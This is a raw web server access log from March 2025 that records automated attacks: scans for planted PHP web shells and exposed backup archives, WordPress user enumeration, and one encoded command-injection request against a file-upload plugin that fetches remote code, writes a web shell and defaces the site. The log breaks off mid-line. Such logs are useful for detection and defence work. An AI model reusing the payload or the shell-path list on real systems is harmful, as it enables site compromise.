"GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:27 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:27 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:28 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:29 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:29 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:29 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:30 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:30 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:31 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:31 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:31 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:32 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:32 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:33 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:33 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:33 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:34 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:34 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:34 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:35 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:35 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:35 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:35 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:36 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:36 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:36 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:37 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:37 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:37 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:37 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:38 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:38 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:39 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:39 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:39 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:39 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:40 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:40 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:40 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:41 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:41 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:41 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:42 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:42 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:42 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:43 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:43 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:43 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:44 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:44 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:44 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:44 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:45 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:45 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:45 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:46 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:46 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:47 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:47 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:48 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:48 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:49 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:49 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:50 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:50 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:50 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:51 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:51 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:52 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:52 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:52 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:53 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:53 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:54 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:54 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:55 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:55 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:56 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:56 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:56 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:57 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:58 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:58 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:59 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:21:59 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:22:00 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:22:00 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:22:01 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 20.57.61.158 - - [30/Mar/2025:21:22:01 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 31.220.101.176 - - [30/Mar/2025:22:24:08 -0400] "GET /backup_2.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:08 -0400] "GET /backups.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:08 -0400] "GET /bin.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:08 -0400] "GET /dump.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /database.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /webapps.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /test.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /inetpub.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /Release.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /web.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /bak.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /api.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /app.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /backup_4.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /html.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /wwwroot.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /output.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /temp.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /htdocs.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /website.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /old.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /src.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /public_html.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /backup_3.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /tmp.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /public.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /package.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /backup_1.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /uploads.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /db.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /www.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /dbase.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /admin.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /db_backup.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /upload.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /data.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /ftp.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /dbadmin.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /conf/conf.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /users.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 31.220.101.176 - - [30/Mar/2025:22:24:09 -0400] "GET /dbdump.zip HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 188.130.136.219 - - [30/Mar/2025:22:56:53 -0400] "GET /wp-content/plugins/wp-automatic/changelog HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 54.197.194.50 - - [30/Mar/2025:23:16:50 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36" 54.197.194.50 - - [30/Mar/2025:23:16:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36" 185.87.122.40 - - [30/Mar/2025:23:56:04 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0" 185.87.122.40 - - [30/Mar/2025:23:56:17 -0400] "GET ///?author=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0" 185.87.122.40 - - [30/Mar/2025:23:56:38 -0400] "GET ///wp-json/wp/v2/users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0" 185.87.122.40 - - [30/Mar/2025:23:56:49 -0400] "GET ///?author=2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0" 185.87.122.40 - - [30/Mar/2025:23:57:07 -0400] "GET ///?author=3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/95.0" 196.251.69.226 - - [31/Mar/2025:00:01:05 -0400] "POST /wp-content/plugins/wp-ver.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 216.244.66.236 - - [31/Mar/2025:00:57:58 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.152.72.247 - - [31/Mar/2025:02:19:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 36.111.67.189 - - [31/Mar/2025:03:40:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 82.102.18.118 - - [31/Mar/2025:04:56:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 196.251.88.242 - - [31/Mar/2025:05:42:12 -0400] "POST /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?0=echo%20%60echo%20PD9waHAgZndyaXRlKGZvcGVuKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9oay5waHAnLCd3KycpLGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL2dob3N0YmluLnNpdGUvb2NidmQvcmF3JykpOyBmd3JpdGUoZm9wZW4oJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2IweC5odG0nLCd3KycpLCdIYWNrZWQgYnkgUnhSJyk7Pz4=%20%7C%20base64%20--decode%60%3Ede.php;&file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9 HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 129.226.202.174 - - [31/Mar/2025:06:26:19 -0400] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 65.21.113.247 - - [31/Mar/2025:06:54:12 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)" 65.21.113.247 - - [31/Mar/2025:06:54:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)" 216.244.66.236 - - [31/Mar/2025:07:21:50 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 37.187.153.161 - - [31/Mar/2025:07:25:01 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.190.109.62 - - [31/Mar/2025:07:32:49 -0400] "GET /file-manager/tinymce HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.190.109.62 - - [31/Mar/2025:07:32:56 -0400] "GET /filemanager/tinymce HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.190.109.62 - - [31/Mar/2025:07:32:58 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.190.109.62 - - [31/Mar/2025:07:33:00 -0400] "GET /vendor/file-manager/tinymce HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.190.109.62 - - [31/Mar/2025:07:33:02 -0400] "GET /public/file-manager/tinymce HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 146.190.109.62 - - [31/Mar/2025:07:33:04 -0400] "GET /app/file-manager/tinymce HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.130.91.95 - - [31/Mar/2025:07:35:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.88.242 - - [31/Mar/2025:07:38:31 -0400] "POST 